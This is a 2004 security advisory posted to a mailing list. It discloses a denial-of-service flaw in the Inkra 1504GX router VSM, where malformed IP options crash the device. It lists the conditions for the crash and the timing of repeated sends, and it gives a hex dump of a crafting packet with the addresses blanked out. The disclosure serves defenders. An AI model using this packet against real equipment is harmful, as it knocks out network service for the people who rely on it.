Date:  14 Sep 2004 03:11:38 -0000
From:  felix zhou <felix__zhou@hotmail.com>
Subject:  Inkra 1504GX DoS vulnerability in conducting IP protocol

 



Inkra 1504GX DoS vulnerability in conducting IP protocol 
 
Author:　 Felix Zhou(felix__zhou@hotmail.com) 
　　　 　　Song Liu (songsong@shaw.ca)

Release date: 2004-08-25

Affected system:

　　Inkra 1504GX with router VSM release 2.1.4.b003 (didn't test other products o
f Inkra).

Detail:

Inkra 1504GX's router VSM(release 2.1.4.b003) does not conduct IP 
options properly. And Hackers can construct some kind of packet to 
make it crash down.

Fortunately, such situation happens only in the following prerequisites:
1. Router VSM is selected in actived VR.
2. Between Router VSM and the VP, no other VSMs exist.
3. The VP is connected to the IO slot directly.

To make the SPM crash down, you have to send the malformed packet at least 3 times, which is uncertai
n for you to perform.
Several seconds interval is necessary between the attacks.

--------------- a packet example ---------------------------
xx xx xx xx xx xx (DMAC)
xx xx xx xx xx xx (SMAC)
08 00
4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum)
xx xx xx xx (SIP)
xx xx xx xx (DIP)
eb 21 ad a6 eb e1 35 9b ce dd
a7 11 ea 5d c5 96 af 47 c1 50
f1 d1 5c 4b 18 9a c1 8a 13 6b
48 5e 74 83 c6 06

aa 9a 5e c2 a6 75 38 44 f8 43
d7 3f ae a1 e0 c6 e3 7c 4b 59
7a 95 1e 70 cc 04 1b 2a d1 6e
38 83
-----------------------------------------------------------------